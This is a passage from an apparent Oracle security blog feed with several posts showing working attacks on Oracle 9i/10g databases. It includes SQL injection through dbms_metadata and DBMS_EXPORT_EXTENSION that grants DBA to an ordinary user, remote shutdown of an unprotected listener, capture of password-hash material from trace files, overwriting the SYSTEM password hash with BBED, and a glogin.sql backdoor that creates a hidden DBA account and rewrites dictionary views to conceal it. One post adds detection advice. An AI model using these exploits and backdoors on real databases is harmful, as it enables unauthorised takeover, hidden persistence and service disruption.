[11-JAN-2008 20:10:23:548] nsprecv: BF 06 73 79 73 74 65 6D  |..system|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 48 5F 50 41 53 53 57 4F  |H_PASSWO|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 52 44 20 00 00 00 20 39  |RD…..9|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 41 43 42 46 37 34 33 38  |ACBF7438|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 43 38 41 39 41 42 36 30  |C8A9AB60|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 36 31 30 33 31 33 44 30  |610313D0|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 41 46 34 46 34 36 37 00  |AF4F467.|<br />
[11-JAN-2008 20:10:23:549] nsprecv: 00 00 00 08 00 00 00 08  |……..|<br />
… …<br />
[11-JAN-2008 20:11:11:038] nsprecv: 24 ED 0A 08 00 00 00 00  |$…….|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 26 61 6C 74 65 72 20 75  |&amp;alter.u|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 73 65 72 20 73 79 73 74  |ser.syst|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 65 6D 20 69 64 65 6E 74  |em.ident|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 69 66 69 65 64 20 62 79  |ified.by|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 20 73 79 73 74 65 6D 01  |.system.|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 01 00 00 00 00  |……..|<br />
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 00 00 00 00 00  |……..|</p>
<p>We can use AUTH_SESSKEY and AUTH_PASSWORD values to crack the password. In Oracle 11g, salt value is sent through AUTH_VFR_DATA.</p>
<p>When users connect to db, if the accounts don’t exist or the passwords don’t correct, display the same error message. But we can check information through trace file to determine if accounts exist or passwords correct.</p>
<p>Password not correct<br />
[oracle@chen tmp]$ sqlplus <a href="mailto:test@chen">test@chen</a><br />
SQL*Plus: Release 10.2.0.3.0 &#8211; Production on Sat Jan 12 15:04:55 2008<br />
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.<br />
Enter password: *****<br />
ERROR:<br />
ORA-01017: invalid username/password; logon denied</p>
<p>Account not exist<br />
[oracle@chen tmp]$ sqlplus <a href="mailto:dummy@chen">dummy@chen</a><br />
SQL*Plus: Release 10.2.0.3.0 &#8211; Production on Sat Jan 12 15:08:07 2008<br />
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.<br />
Enter password: *****<br />
ERROR:<br />
ORA-01017: invalid username/password; logon denied</p>
<p>LISTENER should be protected by password and other admin restrict, limit users access. If LISTENER has not been protected, users can obtain LISNTER information remotely and stop it.</p>
<p>[oracle@cheney sql]$ lsnrctl status 192.168.1.119<br />
LSNRCTL for Linux: Version 9.2.0.4.0 &#8211; Production on 19-FEB-2008 21:14:45<br />
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.<br />
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))<br />
STATUS of the LISTENER<br />
————————<br />
Alias                     LISTENER<br />
Version                   TNSLSNR for Linux: Version 9.2.0.4.0 &#8211; Production<br />
Start Date                13-FEB-2008 05:48:49<br />
Uptime                    0 days 0 hr. 0 min. 25 sec<br />
Trace Level               admin<br />
Security                  OFF<br />
SNMP                      OFF<br />
Listener Parameter File   /opt/app/oracle/product/9.2.0/network/admin/listener.ora<br />
Listener Log File         /opt/app/oracle/product/9.2.0/network/log/listener.log<br />
Listener Trace File       /opt/app/oracle/product/9.2.0/network/trace/listener.trc<br />
Listening Endpoints Summary…<br />
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1521)))<br />
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1522)))<br />
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1526)))<br />
Services Summary…<br />
Service “chen” has 1 instance(s).<br />
  Instance “chen”, status UNKNOWN, has 1 handler(s) for this service…<br />
Service “stby” has 1 instance(s).<br />
  Instance “stby”, status UNKNOWN, has 1 handler(s) for this service…<br />
Service “test” has 1 instance(s).<br />
  Instance “test”, status UNKNOWN, has 1 handler(s) for this service…<br />
The command completed successfully<br />
[oracle@cheney sql]$<br />
[oracle@cheney sql]$<br />
[oracle@cheney sql]$ lsnrctl stop 192.168.1.119<br />
LSNRCTL for Linux: Version 9.2.0.4.0 &#8211; Production on 19-FEB-2008 21:16:39<br />
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.<br />
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))</p>
<p>The command completed successfully</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yaping123.wordpress.com/98/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yaping123.wordpress.com/98/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/98/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=98&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/09/02/network/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Vulnerable Packages</title>
		<link>http://yaping123.wordpress.com/2008/09/02/vulnerable-packages/</link>
		<comments>http://yaping123.wordpress.com/2008/09/02/vulnerable-packages/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 02:34:33 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=95</guid>
		<description><![CDATA[I’ll list several vulnerable packages, which are used frequently. Utl_file Utl_file package can be used to read/write OS files within db, PUBLIC has execute privilege by default. If users have only create session privilege and read/write privilege on directories or utl_file_dir set, then these users can read/write any files under these directories which oracle have [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=95&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I’ll list several vulnerable packages, which are used frequently.</p>
<p>Utl_file<br />
Utl_file package can be used to read/write OS files within db, PUBLIC has execute privilege by default. If users have only create session privilege and read/write privilege on directories or utl_file_dir set, then these users can read/write any files under these directories which oracle have corresponding privilege. Cracker can read sensitive data or destroy whole database through it.</p>
<p>Dbms_metadata<br />
Input passed to the OBJECT_TYPE parameter used in various procedures of the dbms_metadata package is not properly sanitised and can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Oracle 9i/10g has this issue.</p>
<p>@&gt;conn test/test<br />
Connected.<br />
@&gt;select * from session_roles;<br />
ROLE<br />
——————————<br />
RESOURCE<br />
CONNECT<br />
PLUSTRACE</p>
<p>@&gt;create or replace function get_dba<br />
  2    return varchar2<br />
  3    authid current_user is<br />
  4    pragma autonomous_transaction;<br />
  5    begin<br />
  6      execute immediate ‘grant dba to public’;<br />
  7      commit;<br />
  8      return ”;<br />
  9    end;<br />
 10  /<br />
Function created.</p>
<p>@&gt;@&gt;<br />
@&gt;select dbms_metadata.get_ddl(”’||test.get_dba()||”’,”) from dual;<br />
ERROR:<br />
ORA-31600: invalid input value ‘||test.get_dba()||’ for parameter OBJECT_TYPE in function GET_DDL<br />
ORA-06512: at “SYS.DBMS_SYS_ERROR”, line 105<br />
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1536<br />
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1900<br />
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 3606<br />
ORA-06512: at “SYS.DBMS_METADATA”, line 504<br />
ORA-06512: at “SYS.DBMS_METADATA”, line 560<br />
ORA-06512: at “SYS.DBMS_METADATA”, line 1221<br />
ORA-06512: at line 1<br />
no rows selected</p>
<p>@&gt;conn test/test<br />
Connected.<br />
@&gt;select * from session_roles;<br />
ROLE<br />
——————————<br />
DBA<br />
SELECT_CATALOG_ROLE<br />
HS_ADMIN_ROLE<br />
EXECUTE_CATALOG_ROLE<br />
DELETE_CATALOG_ROLE<br />
EXP_FULL_DATABASE<br />
IMP_FULL_DATABASE<br />
GATHER_SYSTEM_STATISTICS<br />
PLUSTRACE<br />
RESOURCE<br />
CONNECT<br />
11 rows selected.</p>
<p>DBMS_EXPORT_EXTENSION<br />
This package is used when export data, PUBLIC has execute privilege by default before 10gR2.</p>
<p>@&gt;conn test/test<br />
Connected.<br />
@&gt;<br />
@&gt;select * from session_roles;<br />
ROLE<br />
——————————<br />
RESOURCE<br />
CONNECT<br />
PLUSTRACE</p>
<p>@&gt;CREATE OR REPLACE PACKAGE MYTESTPKG<br />
  2  AUTHID CURRENT_USER<br />
  3  IS<br />
  4    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)<br />
  5    RETURN NUMBER;<br />
  6  END;<br />
  7  /<br />
Package created.</p>
<p>@&gt;CREATE OR REPLACE PACKAGE BODY MYTESTPKG<br />
  2  IS<br />
  3    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)<br />
  4    RETURN NUMBER<br />
  5  IS<br />
  6    pragma autonomous_transaction;<br />
  7  BEGIN<br />
  8    EXECUTE IMMEDIATE ‘GRANT DBA TO TEST’;<br />
  9    COMMIT;<br />
 10    RETURN(1);<br />
 11  END;<br />
 12<br />
 13  END;<br />
 14  /<br />
Package body created.</p>
<p>@&gt;DECLARE<br />
  2    V_INDEX_NAME VARCHAR2(200);<br />
  3    V_INDEX_SCHEMA VARCHAR2(200);<br />
  4    V_TYPE_NAME VARCHAR2(200);<br />
  5    V_TYPE_SCHEMA VARCHAR2(200);<br />
  6    V_VERSION VARCHAR2(200);<br />
  7    V_NEWBLOCK PLS_INTEGER;<br />
  8    V_GMFLAGS NUMBER;<br />
  9    v_Return VARCHAR2(200);<br />
 10  BEGIN<br />
 11    V_INDEX_NAME := ‘A1′;<br />
 12    V_INDEX_SCHEMA := ‘TEST’;<br />
 13    V_TYPE_NAME := ‘MYTESTPKG’;<br />
 14    V_TYPE_SCHEMA := ‘TEST’;<br />
 15    V_VERSION := ‘9.2.0.4.0′;<br />
 16    V_GMFLAGS := 1;<br />
 17<br />
 18    v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =&gt; V_INDEX_NAME, INDEX_SCHEMA =&gt; V_INDEX_SCHEMA,<br />
 19              TYPE_NAME=&gt; V_TYPE_NAME,TYPE_SCHEMA =&gt; V_TYPE_SCHEMA, VERSION =&gt; V_VERSION, NEWBLOCK =&gt;V_NEWBLOCK, GMFLAGS =&gt; V_GMFLAGS);<br />
 20  END;<br />
 21  /<br />
PL/SQL procedure successfully completed.</p>
<p>@&gt;set role dba;<br />
Role set.<br />
@&gt;select * from session_roles;<br />
ROLE<br />
——————————<br />
DBA<br />
SELECT_CATALOG_ROLE<br />
HS_ADMIN_ROLE<br />
EXECUTE_CATALOG_ROLE<br />
DELETE_CATALOG_ROLE<br />
EXP_FULL_DATABASE<br />
IMP_FULL_DATABASE<br />
GATHER_SYSTEM_STATISTICS<br />
PLUSTRACE<br />
9 rows selected.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yaping123.wordpress.com/95/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yaping123.wordpress.com/95/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/95/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/95/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/95/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=95&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/09/02/vulnerable-packages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Change Password with BBED</title>
		<link>http://yaping123.wordpress.com/2008/09/02/change-password-with-bbed/</link>
		<comments>http://yaping123.wordpress.com/2008/09/02/change-password-with-bbed/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 02:33:17 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=92</guid>
		<description><![CDATA[Firstly, we prepare one user &#38; password we want to logon, assuming we use system/system to logon database. Then we obtain this password hash value, it can be gotten from test environment. @&#62;alter user system identified by system; User altered. @&#62;select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’; USERNAME                       PASSWORD —————————— —————————— SYSTEM                         970BAA5B81930A40 Or obtain this [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=92&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Firstly, we prepare one user &amp; password we want to logon, assuming we use system/system to logon database.</p>
<p>Then we obtain this password hash value, it can be gotten from test environment.</p>
<p>@&gt;alter user system identified by system;<br />
User altered.</p>
<p>@&gt;select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;<br />
USERNAME                       PASSWORD<br />
—————————— ——————————<br />
SYSTEM                         970BAA5B81930A40</p>
<p>Or obtain this value by oracle hash create tools.</p>
<p>Then we need get the actual password hash value and the table’s location in data file.</p>
<p>@&gt;select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;<br />
USERNAME                       PASSWORD<br />
—————————— ——————————<br />
SYSTEM                         292EB6812EBA50C2</p>
<p>@&gt;select CLUSTER_NAME from dba_tables where TABLE_NAME=’USER$’;<br />
CLUSTER_NAME<br />
——————————<br />
C_USER#</p>
<p>@&gt;select EXTENT_ID,FILE_ID,BLOCK_ID,BLOCKS from dba_extents where SEGMENT_NAME=’C_USER#’;<br />
 EXTENT_ID    FILE_ID   BLOCK_ID     BLOCKS<br />
———- ———- ———- ———-<br />
         0          1         89          8</p>
<p>Next, we use bbed to modify data file directly.</p>
<p>BBED&gt; set dba 1,90<br />
        DBA             0×0040005a (4194394 1,90)<br />
BBED&gt; find /c 292EB6812EBA50C2 top<br />
 File: /u03/oradata/9204/chen/system01.dbf (1)<br />
 Block: 90               Offsets: 5895 to 6406           Dba:0×0040005a<br />
————————————————————————<br />
 32393245 42363831 32454241 35304332 018002c1 0307786b 0a0b0c06 3507786b<br />
 0c17022f 1cffff01 80ff02c1 02ffff01 80018009 5359535f 47524f55 506c0011<br />
 1113474c 4f42414c 5f41515f 55534552 5f524f4c 45018006 474c4f42 414c0180<br />
 01800778 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c<br />
 545f434f 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 12004000<br />
 5a001202 c1136c00 11100c41 515f5553 45525f52 4f4c4501 80ff0180 01800778<br />
 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c 545f434f<br />
 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 11004000 5a001102<br />
 c1126c00 110f1541 515f4144 4d494e49 53545241 544f525f 524f4c45 0180ff01<br />
 80018007 786b0a0b 0c0d17ff ffff0180 ff02c102 ffff0180 01801644 45464155<br />
 4c545f43 4f4e5355 4d45525f 47524f55 50ac0001 01000100 0040005a 00100040<br />
 005a0010 02c1116c 00110e16 4c4f4753 54444259 5f41444d 494e4953 54524154<br />
 4f520180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02 c102ffff 01800180<br />
 16444546 41554c54 5f434f4e 53554d45 525f4752 4f5550ac 00010100 01000040<br />
 005a000f 0040005a 000f02c1 106c0011 0d184741 54484552 5f535953 54454d5f<br />
 53544154 49535449 43530180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02<br />
 &lt;32 bytes per line&gt;</p>
<p>BBED&gt;<br />
BBED&gt; dump /v dba 1,90 offset 5895 count 32<br />
 File: /u03/oradata/9204/chen/system01.dbf (1)<br />
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a<br />
——————————————————-<br />
 32393245 42363831 32454241 35304332 l 292EB6812EBA50C2<br />
 018002c1 0307786b 0a0b0c06 3507786b l …á..xk….5.xk<br />
 &lt;16 bytes per line&gt;</p>
<p>BBED&gt; modify /c 970BAA5B81930A40 dba 1,90 offset 5895<br />
BBED-00215: editing not allowed in BROWSE mode</p>
<p>BBED&gt; set mode edit<br />
        MODE            Edit<br />
BBED&gt; modify /c 970BAA5B81930A40 dba 1,90 offset 5895<br />
 File: /u03/oradata/9204/chen/system01.dbf (1)<br />
 Block: 90               Offsets: 5895 to 5926           Dba:0×0040005a<br />
————————————————————————<br />
 39373042 41413542 38313933 30413430 018002c1 0307786b 0a0b0c06 3507786c<br />
 &lt;32 bytes per line&gt;</p>
<p>BBED&gt; dump /v dba 1,90 offset 5895 count 32<br />
 File: /u03/oradata/9204/chen/system01.dbf (1)<br />
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a<br />
——————————————————-<br />
 39373042 41413542 38313933 30413430 l 970BAA5B81930A40<br />
 018002c1 0307786b 0a0b0c06 3507786c l …á..xk….5.xl<br />
 &lt;16 bytes per line&gt;</p>
<p>BBED&gt; sum dba 1,90 apply<br />
Check value for File 1, Block 90:<br />
current = 0xc51f, required = 0xc51f<br />
BBED&gt; exit</p>
<p>[oracle@chen data]$ sql<br />
SQL*Plus: Release 9.2.0.4.0 &#8211; Production on Thu Jan 10 06:39:56 2008<br />
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.<br />
@&gt;conn system/system<br />
Connected.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/yaping123.wordpress.com/92/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/yaping123.wordpress.com/92/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/92/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/92/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/92/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=92&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/09/02/change-password-with-bbed/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Startup Files</title>
		<link>http://yaping123.wordpress.com/2008/09/02/startup-files/</link>
		<comments>http://yaping123.wordpress.com/2008/09/02/startup-files/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 02:30:48 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=89</guid>
		<description><![CDATA[There’re some SQL command files which will be executed when users logon db, such as glogin.sql/login.sql on SQL*Plus, toad.ini on TOAD. The cracker can modify these files and add some statements to create user, escalate privileges, change data, and so on. Illuminate through the following demo. Modify glogin.sql file, add the following statements. It has [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=89&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>There’re some SQL command files which will be executed when users logon db, such as glogin.sql/login.sql on SQL*Plus, toad.ini on TOAD. The cracker can modify these files and add some statements to create user, escalate privileges, change data, and so on. Illuminate through the following demo.</p>
<p>Modify glogin.sql file, add the following statements. It has two purposes: create one user with dba privilege; recreate view dba_users &amp; all_users, hide this user through query these views.</p>
<p>set term off<br />
create user cracker identified by cracker;<br />
grant dba to cracker;<br />
  CREATE OR REPLACE FORCE VIEW “SYS”.”ALL_USERS” (”NAME”, “USER#”, “CTIME”) AS<br />
… …<br />
  and u.name != ‘CRACKER’;<br />
CREATE OR REPLACE FORCE VIEW “SYS”.”DBA_USERS” (”USERNAME”, “USER_ID”, “PASSWORD”, “ACCOUNT_STATUS”, “LOCK_DATE”, “EXPIRY_DATE”, “DEFAULT_TABLESPACE”, “TEMPORARY_TABLESPACE”, “CREATED”, “PROFILE”, “INITIAL_RSRC_CONSUMER_GROUP”, “EXTERNAL_NAME”) AS<br />
  … …<br />
       and u.name != ‘CRACKER’;<br />
set term on</p>
<p>Then logon db with sys user.</p>
<p>[oracle@chen admin]$ sqlplus<br />
SQL*Plus: Release 9.2.0.4.0 &#8211; Production on Thu Jan 10 11:07:06 2008<br />
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.<br />
Enter user-name: /as sysdba<br />
Connected to:<br />
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production<br />
With the Partitioning, OLAP and Oracle Data Mining options<br />
JServer Release 9.2.0.4.0 &#8211; Production<br />
<a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> name from all_users;<br />
NAME<br />
——————————<br />
SYS<br />
SYSTEM<br />
OUTLN<br />
DBSNMP<br />
TEST<br />
YP<br />
6 rows selected.</p>
<p><a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> username from dba_users;<br />
USERNAME<br />
——————————<br />
SYS<br />
SYSTEM<br />
OUTLN<br />
DBSNMP<br />
TEST<br />
YP<br />
6 rows selected.</p>
<p><a href="mailto:sys@CHEN&gt;conn">sys@CHEN&gt;conn</a> cracker/cracker<br />
Connected.<br />
<a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> name from sys.user$ where TYPE#&lt;&gt;0 minus select username from dba_users;<br />
NAME<br />
——————————<br />
CRACKER</p>
<p>Recommends<br />
1.       Check glogin.sql/login.sql/toad.ini files for modification;<br />
2.       Check search sequence SQLPATH;<br />
3.       If possible use SQL*Plus &lt;10g because the (g)login.sql is only executed during the firstly login;<br />
4.       Use /nolog as SQL*Plus startup parameter, (g)login.sql is not executed with SQL*Plus &lt;10g.<br />
5.       Use OS tools to track these files changed, such as md5sum/sha1sum in Linux.</p>
<p> </p>
<p>Orapw file issue</p>
<p><a href="mailto:sys@CHEN&gt;create">sys@CHEN&gt;create</a> user hacker identified by hacker;<br />
User created.<br />
<a href="mailto:sys@CHEN&gt;grant">sys@CHEN&gt;grant</a> sysdba to hacker;<br />
Grant succeeded.</p>
<p>[admin@chen ~]$ sqlplus <a href="mailto:“hacker/hacker@chen">“hacker/hacker@chen</a> as sysdba”<br />
SQL*Plus: Release 9.2.0.8.0 &#8211; Production on Tue Mar 4 22:24:22 2008<br />
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.<br />
Connected to:<br />
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production<br />
With the Partitioning, OLAP and Oracle Data Mining options<br />
JServer Release 9.2.0.4.0 &#8211; Production<br />
<a href="mailto:sys@CHEN">sys@CHEN</a>&gt;</p>
<p><a href="mailto:sys@CHEN&gt;!cp">sys@CHEN&gt;!cp</a> /opt/app/oracle/product/9.2.0/dbs/orapwchen /opt/app/oracle/product/9.2.0/dbs/orapwchen.org</p>
<p><a href="mailto:sys@CHEN&gt;drop">sys@CHEN&gt;drop</a> user hacker;<br />
User dropped.</p>
<p><a href="mailto:sys@CHEN&gt;!cp">sys@CHEN&gt;!cp</a> /opt/app/oracle/product/9.2.0/dbs/orapwchen.org /opt/app/oracle/product/9.2.0/dbs/orapwchen</p>
<p><a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> name from user$ where type#&lt;&gt;0;<br />
NAME<br />
——————————<br />
SYS<br />
SYSTEM<br />
OUTLN<br />
DBSNMP<br />
TEST<br />
YP<br />
6 rows selected.<br />
<a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> * from v$pwfile_users;<br />
USERNAME                       SYSDB SYSOP<br />
—————————— —– —–<br />
SYS                            TRUE  TRUE<br />
HACKER                         TRUE  FALSE<br />
<a href="mailto:sys@CHEN&gt;select">sys@CHEN&gt;select</a> VIEW_DEFINITION from  v$fixed_view_definition where VIEW_NAME=’GV$PWFILE_USERS’;<br />
VIEW_DEFINITION<br />
——————————————————————————————————————————————————<br />
select inst_id,username,decode(sysdba,1,’TRUE’,&#8217;FALSE’),  decode(sysoper,1,’TRUE’,&#8217;FALSE’) from x$kzsrt where valid=1  and username != ‘INTERNAL’</p>
<p>[admin@chen ~]$ sqlplus <a href="mailto:“hacker/hacker@chen">“hacker/hacker@chen</a> as sysdba”<br />
SQL*Plus: Release 9.2.0.8.0 &#8211; Production on Tue Mar 4 22:27:19 2008<br />
